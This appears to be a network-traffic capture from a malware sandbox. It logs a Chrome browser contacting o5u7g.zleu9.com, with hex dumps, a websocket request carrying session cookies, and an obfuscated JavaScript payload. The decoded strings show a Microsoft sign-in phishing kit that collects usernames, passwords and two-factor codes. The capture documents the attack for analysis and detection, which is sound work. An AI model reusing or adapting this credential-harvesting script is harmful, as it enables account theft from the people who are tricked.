2024-04-24 06:22:02 UTC	1369	IN	Data Raw: 8e 0c 63 96 10 1c 40 42 44 dd f4 16 cf 30 00 2b fb 79 0b 30 ab c4 72 0d 2d 40 8d fe 19 13 b5 2f 74 e2 3e 24 50 23 ab dc 2a 66 4d 64 c4 fc ff 2f 53 ab 6d 24 50 26 09 49 5d 09 75 9d 3e c1 ea 31 1f d2 98 cf 56 cd 54 a8 74 6a 7f 21 1b e3 9c 0f 44 44 22 1d 29 45 26 48 55 24 92 52 07 92 54 55 20 21 75 7d 24 c8 3a 01 40 86 24 32 00 8a cd 24 e5 2d 59 9e 72 a6 cc 4b 24 d5 13 80 aa 7a 82 60 1b 94 34 ce 2d 67 b1 1c ca 96 d5 9c 33 32 e3 a4 1a e3 36 db 24 c7 b1 8d db a9 6a 45 cd 8a 9a 55 8a e3 a8 9a fd 86 aa 55 d5 ac d4 1a bf 33 7e d7 67 f8 e7 6d 4f ce f6 e5 66 e3 7f 46 56 c8 0a 61 36 e5 a3 4e 26 1e 46 a2 08 72 83 40 08 87 47 e1 7f 99 5a a6 68 7c 99 6e 6c d2 0f 2b 33 dc e8 4e 91 71 44 5d 90 6c 29 8d ba 7f af 41 f7 5b 43 0e ce 0d 46 16 90 e1 0e ce 11 23 c7 5d f9 38 5a Data Ascii: c@BD0+y0r-@/t>$P#*fMd/Sm$P&I]u>1VTtj!DD")E&HU$RTU !u}$:@$2$-YrK$z`4-g326$jEUU3~gmOfFVa6N&Fr@GZh\|nl+3NqD]l)A[CF#]8Z
2024-04-24 06:22:02 UTC	1369	IN	Data Raw: e1 43 b4 b6 e2 5b 28 0a 7e 3f b8 60 01 41 a5 a2 9d 5f aa aa 92 e7 97 9e 00 03 7a 83 f2 df f4 f1 96 7c fe b4 e4 ea d5 9a f9 6c b0 ba 4a 10 6f b7 59 2c ed 74 74 e4 f7 a7 d3 2b 96 40 40 51 66 f5 e7 a0 33 8f 73 f2 d6 c3 e5 9d c3 71 fc 46 72 66 3c 24 2e ce 60 06 3a c8 29 d6 a8 8f 62 ff a8 a5 b5 cd eb 44 76 4b 25 94 fc d0 62 76 e3 42 5d fd 97 64 4c 8b a5 52 6f f8 db 8f 00 94 fc c8 46 5c bd 1c c3 40 2b d1 7a 43 c4 ad 17 b2 b7 ee 9b 4d 09 0d f9 6d 07 99 10 1d 47 e6 96 3a 20 3d bc 3a 0d 3e bf 95 84 ea 25 93 ae 69 08 6c df 80 35 2a 08 70 c7 de 92 9c 79 e0 1a 17 e6 d0 2b 30 1e 2f 83 0e c7 e9 73 30 77 e7 e6 02 22 bb d8 06 99 5b ee 22 53 80 20 c8 6e 2c 06 05 26 12 28 14 52 ba 16 12 3d a2 47 3f 10 f5 06 a5 24 4d 82 75 e6 ad 90 27 62 69 e9 36 4c 84 88 93 25 f6 f6 23 80 Data Ascii: C[(~?`A_z\|lJoY,tt+@@Qf3sqFrf<$.`:)bDvK%bvB]dLRoF\@+zCMmG: =:>%il5*py+0/s0w"["S n,&(R=G?$Mu'bi6L%#
2024-04-24 06:22:02 UTC	1369	IN	Data Raw: 54 e7 d6 9d 2d b4 a6 93 cf 99 1f a7 dd 6e 68 53 44 dd 65 65 89 d1 c0 a3 92 64 cc 31 18 63 26 13 31 4e cf 58 79 53 b2 2e db 9a 28 b6 9b 3c a6 00 5c 5e 11 8b 83 4b be 05 32 16 f2 27 f7 9c df b0 9c 1c 87 3a fa 62 03 4e 5f dc 30 32 d9 0e 2d 29 bb 39 86 5a ea 25 1c f9 80 80 d3 b0 59 47 03 e1 38 0e 99 e4 42 e4 67 ce e4 d4 da 88 c7 03 50 4c 29 22 8c 02 70 3a 8b 8a 3b 0f 04 48 26 b5 d1 e4 52 e7 01 3b 4a af d0 d3 a7 68 fe d1 72 c3 4a 60 ba 24 bf 8f 51 eb 11 25 b1 c6 4b 41 a6 d8 73 32 1b 16 4b c4 62 8e e3 36 ec 6e b3 cd 37 b4 0e 4b 95 68 ab 33 1a 0d ac 6a 2b cd a4 45 22 f2 62 82 62 42 1d c3 cc f9 59 5f 50 eb 07 b4 8a da 4d aa 17 47 d3 fa a5 80 8d 11 25 a5 a5 8e 5b 88 5c b9 82 21 5e 88 6c 18 63 03 d6 93 18 f3 cb 40 59 d9 d2 20 37 88 18 e8 62 0c ab b3 f8 99 33 4f d5 Data Ascii: T-nhSDeed1c&1NXyS.(<\^K2':bN_02-)9Z%YG8BgPL)"p:;H&R;JhrJ`$Q%KAs2Kb6n7Kh3j+E"bbBY_PMG%[\!^lc@Y 7b3O
2024-04-24 06:22:02 UTC	1369	IN	Data Raw: 9f 82 2c b7 fc 55 50 9b 51 70 75 a8 cf 20 94 27 85 0a 16 c2 d5 50 55 97 db 1a cc e4 ea f8 bf 7f 82 9d cf b0 bf bf a8 d2 cf 05 72 5b e8 50 23 0f 23 4b 61 90 94 da f0 4d c9 51 9e 26 0a ec ec ab 69 b4 bd c3 2f 0a f0 74 03 f6 16 2e 59 39 12 0b bc 0c 0d 75 a9 8f 01 48 d7 04 85 96 d2 ab 02 9b de 6d db bd 90 bc 86 ef 83 5a 63 5b 32 e2 71 f8 6e c1 87 75 a9 ee 4c f7 99 27 02 3c 78 27 d8 98 de f7 56 7f 6e f1 fc aa 81 eb 24 c5 fb 60 e0 b0 f2 f0 af dd 25 60 5f 6c d7 6b c0 60 ea 09 fc a1 7e ef 21 d2 65 be 87 84 64 f1 c8 69 fa 9c 49 2f cf 79 79 88 42 e1 4d be 7d 02 60 bf 63 b8 ea ea 63 24 2b 5c 48 cf ca 79 d8 58 89 bd 6f 81 38 cf 87 07 47 13 25 b0 2d d0 2c 71 94 b6 07 95 04 aa e5 65 bc fd e1 eb 93 81 1b a5 d7 ee 19 35 2a 5a aa 17 d4 e1 0e 65 4b 21 2d a7 bf d7 25 e2 9e Data Ascii: ,UPQpu 'PUr[P##KaMQ&i/t.Y9uHmZc[2qnuL'<x'Vn$`%`_lk`~!ediI/yyBM}`cc$+\HyXo8G%-,qe5*ZeK!-%
2024-04-24 06:22:02 UTC	1369	IN	Data Raw: 9a 90 a7 8b 89 35 60 8b 3c b7 b7 76 cf d3 be da d0 82 50 1b dc 81 52 9f 2b 78 b5 85 1a db 2f 23 11 ee 7e 0f 9c d7 f5 b8 cb 06 d1 4f 79 55 8a 13 9b 6a a8 95 46 95 37 af 7b 7d 90 cb 24 1d 9e 26 31 5b 76 a7 8e 76 62 74 7b e0 dc a7 f1 6e 9f 45 d5 21 b2 23 85 2c cb e7 31 09 a3 7a 4c d0 45 20 b1 44 fe 05 66 c7 02 03 dc df d5 bb 25 f4 ec 02 f0 c1 23 0b fa 7f ae 9b 73 07 7b 16 f5 36 ec ec 00 db ec 7f d4 4b 78 3e 73 73 9f 0a ae ec e5 80 c4 cf 0a 3d 62 99 08 c1 b2 7d c7 70 b5 8c c7 69 52 40 79 3c 9f b9 99 d4 52 6e df 0a 35 b9 f0 ac 83 b5 6c 74 9e b8 70 fd 1d b6 ee 75 41 04 b5 ad 5c 10 e6 ad df 53 fe 59 1e 0a 54 02 09 f8 5e ab e5 8c c5 72 4c 47 c6 3b 62 55 95 51 f0 eb 4f 75 3e 57 a6 36 98 bc fe b1 bc ff 61 18 a2 79 e6 01 b9 02 66 9e 81 b8 b7 6b 51 78 30 95 72 f9 41 Data Ascii: 5`<vPR+x/#~OyUjF7{}$&1[vvbt{nE!#,1zLE Df%#s{6Kx>ss=b}piR@y<Rn5ltpuA\SYT^rLG;bUQOu>W6ayfkQx0rA
2024-04-24 06:22:02 UTC	1369	IN	Data Raw: 62 10 69 58 16 18 ff 45 1e a2 6d 55 84 60 bb 94 83 f1 a5 aa 10 eb 80 6a 04 ba dd 16 24 bb cb 76 94 bb db 0e 54 fa b4 dd 28 f7 19 9d a8 f4 59 7b 91 ec f3 f6 a1 d0 17 ec 47 b1 2f ea 42 a1 2f 39 80 62 df 74 12 bc df 77 06 bc 3f 73 01 b9 7e ee 71 e4 fb bb 2d ec ef 7f d2 19 f5 41 7b 18 ef 31 87 58 ef 21 27 d1 79 d4 69 74 9e 74 8d 23 23 9b 2c 50 b6 a6 80 27 3b 52 c2 93 d9 40 c0 e7 aa a0 90 01 f3 29 68 ec d8 71 e2 04 83 80 00 e3 c2 05 82 1b 37 71 1e 3c 50 15 2c 96 c1 03 90 05 75 49 6e 2d 19 e1 95 12 4e d0 eb 09 a1 25 6a 42 ad 00 59 26 63 cf 71 3e 9d 2c 30 95 67 c9 12 c6 10 a1 01 97 41 48 16 7e 72 c0 e5 e1 a3 00 5c 91 be b5 13 b4 60 8d 50 60 16 62 8c 23 2c 93 87 41 a6 b8 c0 32 1b d9 cc f1 84 5d ca eb c5 8d 70 d0 ac bc 4b 85 93 72 39 40 ae f8 bc 94 2b 97 55 20 79 Data Ascii: biXEmU`j$vT(Y{G/B/9btw?s~q-A{1X!'yitt##,P';R@)hq7q<P,uIn-N%jBY&cq>,0gAH~r\`P`b#,A2]pKr9@+U y
2024-04-24 06:22:02 UTC	1369	IN	Data Raw: 41 79 a5 b8 da 6d 00 aa 75 3c 04 9b 2b 02 72 61 45 50 0c 27 48 8a 66 58 8e 17 c4 72 ff 0a aa a6 1b a6 65 03 00 88 b0 24 13 ca b8 50 54 ad 3e b1 db 03 04 84 eb 88 80 62 38 41 52 34 c3 72 bc 20 96 b6 51 46 51 6b 9b a9 63 98 56 a3 e2 13 15 c2 04 21 e9 30 60 05 83 86 c4 8f e9 a0 a9 ff f0 17 a0 b7 17 e7 07 65 da fd 98 7e d8 04 c0 0d b5 75 78 ca 39 2a af 15 ac 6d 98 37 9c 46 60 a4 51 46 1b 63 ac 64 29 52 a5 49 97 21 53 56 45 1d 2a 36 25 95 a2 4c b9 8a 2a 47 ac 4a 54 ab 51 5b dd e8 d5 a3 41 e3 73 28 bc 75 10 b4 db 41 a5 28 53 8e 1e d2 f3 3a cc bc 1d 7c fc 10 25 da bd f2 fc a6 e8 16 82 4b 39 b0 71 4d 28 28 c1 54 d4 34 0d d5 a6 e7 9b d7 02 78 db f5 6f 2c 5c 2e 36 76 cf fe a6 f4 a5 10 31 09 09 d0 9e 36 f0 1f 3e 12 3b 49 4b 4b 4b 4b 4b bf cf 6e e5 eb f8 ee 58 bb 05 Data Ascii: Aymu<+raEP'HfXre$PT>b8AR4r QFQkcV!0`e~ux9m7F`QFcd)RI!SVE6%L*GJTQ[As(uA(S:\|%K9qM((T4xo,\.6v16>;IKKKKKnX
2024-04-24 06:22:02 UTC	1369	IN	Data Raw: 51 a2 c5 d8 27 43 26 02 22 92 13 20 64 14 59 b2 e5 a0 3a 99 67 82 e6 ee 72 cf 1d 66 c7 a3 2c 1a da 79 0f 13 14 29 92 e2 71 c9 44 e4 e7 84 a0 c2 9f f7 0e ba a8 11 61 68 5f fa 1d ff f6 b8 d7 09 45 9d f7 18 61 a2 cf d1 a7 76 8f 13 7e b0 51 c5 d3 5b 09 40 57 2c 6f 6b b6 61 22 ea 37 fd 68 16 80 a1 c0 35 c2 0c d2 3a 85 ef 21 50 78 14 9f 15 27 6e bd a6 4d 6a 70 82 bc 56 5c ed c3 07 4f fc db 7e b8 f3 ce 26 a0 dc bc 05 0a 43 71 81 c0 11 41 31 9c 20 29 9a 61 39 5e 10 3b a3 77 e9 b5 a7 54 3d eb 39 f8 84 11 13 21 91 29 54 1a 9d c1 64 b1 39 5c 5e fe 82 0a 00 c0 d0 b2 c2 20 28 56 b8 c4 22 c4 92 8f 4b c4 db e9 d5 16 77 f3 73 34 90 cb 61 6b a5 67 b8 d1 63 dc 12 db 49 a1 78 8f 3a 70 56 78 9c f7 22 15 6d 55 d4 d2 cd 70 8f 4e b6 dd 48 9f a8 82 3e b4 c1 8c 26 b3 25 20 c1 88 Data Ascii: Q'C&" dY:grf,y)qDah_Eav~Q[@W,oka"7h5:!Px'nMjpV\O~&CqA1 )a9^;wT=9!)Td9\^ (V"Kws4akgcIx:pVx"mUpNH>&%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49784	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:02 UTC	1283	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: o5u7g.zleu9.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://o5u7g.zleu9.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D Sec-WebSocket-Key: v0+usPYGILYtIcUhDOOORw== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-04-24 06:22:03 UTC	575	IN	HTTP/1.1 400 Bad Request Date: Wed, 24 Apr 2024 06:22:02 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8%2FVdneijBKBf3zxMOm4MJvqr1FP2PhsnzeHMbDImss6EAKEwDf2w%2BshYEnBfG3XElHxQTAnAljlHp7yRxNz5oYqIS8BJawNMYAP60ptnsusx8LtjmV%2BFqp25AMdqRV3kIk4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8793ff21ed057c27-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 06:22:03 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-04-24 06:22:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49785	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:02 UTC	1400	OUT	GET /56uBqa9ykEk4SXxAWkluwOlrHDLqhWH89110 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
2024-04-24 06:22:03 UTC	646	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:02 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="56uBqa9ykEk4SXxAWkluwOlrHDLqhWH89110" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uMnWucSswXFo4AcR7mNdUDnri3O3vukbUH4VjCzJ7FDZtNxx8zZSaRsKyUNIjhlXvAP84%2Fi4elgGBXSxWpkSvrcuU8OvPUdqKSgluwQmqyT%2FWsfBps0RWAht8FOBSg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff21fb1c2f1d-LAX
2024-04-24 06:22:03 UTC	723	IN	Data Raw: 33 37 39 35 0d 0a 63 6f 6e 73 74 20 5f 30 78 33 63 30 62 36 39 3d 5f 30 78 34 30 62 64 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 66 66 61 33 65 2c 5f 30 78 37 34 33 61 34 66 29 7b 63 6f 6e 73 74 20 5f 30 78 31 66 33 38 61 38 3d 5f 30 78 34 30 62 64 2c 5f 30 78 32 64 38 38 62 36 3d 5f 30 78 31 66 66 61 33 65 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 63 6f 6e 73 74 20 5f 30 78 34 36 31 39 34 34 3d 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 66 33 38 61 38 28 30 78 32 30 62 29 29 2f 30 78 31 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 31 66 33 38 61 38 28 30 78 33 31 39 29 29 2f 30 78 32 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 31 66 33 38 61 38 28 30 78 32 64 30 29 29 2f 30 78 33 29 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 31 66 33 38 61 38 28 30 Data Ascii: 3795const _0x3c0b69=_0x40bd;(function(_0x1ffa3e,_0x743a4f){const _0x1f38a8=_0x40bd,_0x2d88b6=_0x1ffa3e();while(!![]){try{const _0x461944=-parseInt(_0x1f38a8(0x20b))/0x1+parseInt(_0x1f38a8(0x319))/0x2*(parseInt(_0x1f38a8(0x2d0))/0x3)+parseInt(_0x1f38a8(0
2024-04-24 06:22:03 UTC	1369	IN	Data Raw: 62 36 39 28 30 78 33 33 32 29 29 5b 5f 30 78 33 63 30 62 36 39 28 30 78 32 64 66 29 5d 5b 5f 30 78 33 63 30 62 36 39 28 30 78 32 65 31 29 5d 28 5f 30 78 33 63 30 62 36 39 28 30 78 31 65 37 29 29 26 26 28 76 69 65 77 3d 5f 30 78 33 63 30 62 36 39 28 30 78 32 63 38 29 29 3b 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 27 5d 28 5f 30 78 33 63 30 62 36 39 28 30 78 32 61 38 29 29 26 26 21 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 33 63 30 62 36 39 28 30 78 32 66 66 29 5d 28 5f 30 78 33 63 30 62 36 39 28 30 78 32 61 38 29 29 5b 27 63 6c 61 73 73 4c 69 73 74 27 5d 5b 5f 30 78 33 63 30 62 36 39 28 30 78 32 65 31 29 5d 28 5f 30 78 33 63 30 62 36 39 28 30 78 31 65 37 29 29 26 26 28 76 69 65 77 3d 27 75 6e 61 6d 65 5f 70 64 66 27 29 3b 64 6f 63 Data Ascii: b69(0x332))[_0x3c0b69(0x2df)][_0x3c0b69(0x2e1)](_0x3c0b69(0x1e7))&&(view=_0x3c0b69(0x2c8));document['getElementById'](_0x3c0b69(0x2a8))&&!document[_0x3c0b69(0x2ff)](_0x3c0b69(0x2a8))['classList'][_0x3c0b69(0x2e1)](_0x3c0b69(0x1e7))&&(view='uname_pdf');doc
2024-04-24 06:22:03 UTC	1369	IN	Data Raw: 31 29 29 5b 5f 30 78 32 62 65 33 36 39 28 30 78 33 30 31 29 5d 28 29 3b 7d 7d 7d 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 6c 6f 61 64 69 6e 67 61 6e 69 6d 61 74 69 6f 6e 28 5f 30 78 31 63 62 61 63 63 29 7b 63 6f 6e 73 74 20 5f 30 78 31 66 30 32 32 39 3d 5f 30 78 33 63 30 62 36 39 3b 5f 30 78 31 63 62 61 63 63 3d 3d 30 78 30 26 26 28 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 31 66 30 32 32 39 28 30 78 32 66 66 29 5d 28 5f 30 78 31 66 30 32 32 39 28 30 78 31 66 37 29 2b 76 69 65 77 29 5b 5f 30 78 31 66 30 32 32 39 28 30 78 32 39 32 29 5d 28 5f 30 78 31 66 30 32 32 39 28 30 78 32 35 63 29 29 5b 5f 30 78 31 66 30 32 32 39 28 30 78 32 64 66 29 5d 5b 27 61 64 64 27 5d 28 27 6c 6f 61 64 69 6e 67 27 29 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 31 66 30 32 32 39 28 30 78 32 Data Ascii: 1))[_0x2be369(0x301)]();}}}}});function loadinganimation(_0x1cbacc){const _0x1f0229=_0x3c0b69;_0x1cbacc==0x0&&(document[_0x1f0229(0x2ff)](_0x1f0229(0x1f7)+view)[_0x1f0229(0x292)](_0x1f0229(0x25c))[_0x1f0229(0x2df)]['add']('loading'),document[_0x1f0229(0x2
2024-04-24 06:22:03 UTC	1369	IN	Data Raw: 27 2c 27 61 6c 74 27 2c 27 5c 78 32 30 3c 61 5c 78 32 30 68 72 65 66 3d 5c 78 32 32 23 5c 78 32 32 5c 78 32 30 64 61 74 61 2d 69 64 3d 5c 78 32 32 27 2c 27 73 65 63 74 69 6f 6e 73 5f 27 2c 27 64 65 73 63 27 2c 27 63 6c 69 63 6b 65 64 27 2c 27 69 41 64 64 69 74 69 6f 6e 61 6c 50 72 6f 6f 66 49 6e 66 6f 27 2c 27 75 72 6c 28 5c 78 32 37 27 2c 27 53 65 6e 64 5c 78 32 30 61 6e 6f 74 68 65 72 5c 78 32 30 72 65 71 75 65 73 74 27 2c 27 73 69 67 6e 49 6e 41 6e 6f 74 68 65 72 57 61 79 27 2c 27 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 27 2c 27 61 75 74 68 63 61 6c 6c 69 6d 67 27 2c 27 2e 69 41 64 64 69 74 69 6f 6e 61 6c 50 72 6f 6f 66 49 6e 66 6f 5c 78 32 30 69 6e 70 75 74 5b 74 79 70 65 3d 5c 78 32 32 72 61 64 69 6f 5c 78 32 32 5d 27 2c 27 6b 65 79 27 2c 27 31 Data Ascii: ','alt','\x20<a\x20href=\x22#\x22\x20data-id=\x22','sections_','desc','clicked','iAdditionalProofInfo','url(\x27','Send\x20another\x20request','signInAnotherWay','backgroundImage','authcallimg','.iAdditionalProofInfo\x20input[type=\x22radio\x22]','key','1
2024-04-24 06:22:03 UTC	1369	IN	Data Raw: 5c 78 32 30 61 63 63 6f 75 6e 74 5c 78 32 30 77 69 74 68 5c 78 32 30 74 68 61 74 5c 78 32 30 75 73 65 72 6e 61 6d 65 2e 5c 78 32 30 54 72 79 5c 78 32 30 61 6e 6f 74 68 65 72 2c 5c 78 32 30 6f 72 5c 78 32 30 67 65 74 5c 78 32 30 61 5c 78 32 30 6e 65 77 5c 78 32 30 4d 69 63 72 6f 73 6f 66 74 5c 78 32 30 61 63 63 6f 75 6e 74 2e 27 2c 27 72 65 64 69 72 65 63 74 65 64 5c 78 32 30 62 61 63 6b 5c 78 32 30 74 6f 5c 78 32 30 73 69 67 6e 5c 78 32 30 69 6e 27 2c 27 6b 65 79 75 70 27 2c 27 6f 74 70 5c 78 32 30 73 65 6e 74 27 2c 27 73 65 63 74 69 6f 6e 5f 32 66 61 27 2c 27 73 69 67 6e 75 70 27 2c 27 79 6f 75 5c 78 32 30 64 6f 6e 74 5c 78 32 30 68 61 76 65 5c 78 32 30 61 63 63 65 73 73 27 2c 27 2e 74 69 74 6c 65 27 2c 27 74 69 74 6c 65 68 69 6e 74 27 2c 27 31 31 32 33 Data Ascii: \x20account\x20with\x20that\x20username.\x20Try\x20another,\x20or\x20get\x20a\x20new\x20Microsoft\x20account.','redirected\x20back\x20to\x20sign\x20in','keyup','otp\x20sent','section_2fa','signup','you\x20dont\x20have\x20access','.title','titlehint','1123
2024-04-24 06:22:03 UTC	1369	IN	Data Raw: 68 69 64 65 2d 62 74 6e 27 2c 27 73 63 72 69 70 74 5b 73 72 63 5e 3d 5c 78 32 32 27 2c 27 70 6f 73 69 74 69 6f 6e 27 2c 27 70 6f 70 27 2c 27 73 65 63 74 69 6f 6e 5f 75 6e 61 6d 65 27 2c 27 4e 65 78 74 27 2c 27 69 45 6e 74 65 72 50 72 6f 6f 66 44 65 73 63 27 2c 27 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 27 2c 27 68 74 74 70 73 3a 2f 2f 68 74 74 70 62 69 6e 2e 6f 72 67 2f 69 70 27 2c 27 61 75 74 68 63 61 6c 6c 27 2c 27 3c 73 70 61 6e 3e 53 6f 72 72 79 2c 5c 78 32 30 77 65 5c 78 32 37 72 65 5c 78 32 30 68 61 76 69 6e 67 5c 78 32 30 74 72 6f 75 62 6c 65 5c 78 32 30 76 65 72 69 66 79 69 6e 67 5c 78 32 30 79 6f 75 72 5c 78 32 30 61 63 63 6f 75 6e 74 2e 5c 78 32 30 50 6c 65 61 73 65 5c 78 32 30 74 72 79 5c 78 32 30 61 67 61 69 6e 2e 3c 2f 73 70 61 Data Ascii: hide-btn','script[src^=\x22','position','pop','section_uname','Next','iEnterProofDesc','.loading-container','https://httpbin.org/ip','authcall','<span>Sorry,\x20we\x27re\x20having\x20trouble\x20verifying\x20your\x20account.\x20Please\x20try\x20again.</spa
2024-04-24 06:22:03 UTC	1369	IN	Data Raw: 71 75 69 72 65 64 3d 5c 78 32 32 74 72 75 65 5c 78 32 32 5c 78 32 30 61 72 69 61 2d 6c 61 62 65 6c 3d 5c 78 32 32 45 6d 61 69 6c 5c 78 32 30 6e 61 6d 65 5c 78 32 32 5c 78 32 30 61 72 69 61 2d 64 65 73 63 72 69 62 65 64 62 79 3d 5c 78 32 32 69 50 72 6f 6f 66 49 6e 70 75 74 45 72 72 6f 72 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 6c 61 62 65 6c 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 5c 78 32 30 6e 6f 4c 65 66 74 42 6f 72 64 65 72 5c 78 32 30 6f 75 74 6c 6f 6f 6b 45 6d 61 69 6c 4c 61 62 65 6c 5c 78 32 32 5c 78 32 30 69 64 3d 5c 78 32 32 69 43 6f 6e 66 69 72 6d 50 72 6f 6f 66 45 6d 61 69 6c 44 6f 6d 61 69 6e 5c 78 32 32 3e Data Ascii: quired=\x22true\x22\x20aria-label=\x22Email\x20name\x22\x20aria-describedby=\x22iProofInputError\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20<label\x20class=\x22input-group-addon\x20noLeftBorder\x20outlookEmailLabel\x22\x20id=\x22iConfirmProofEmailDomain\x22>
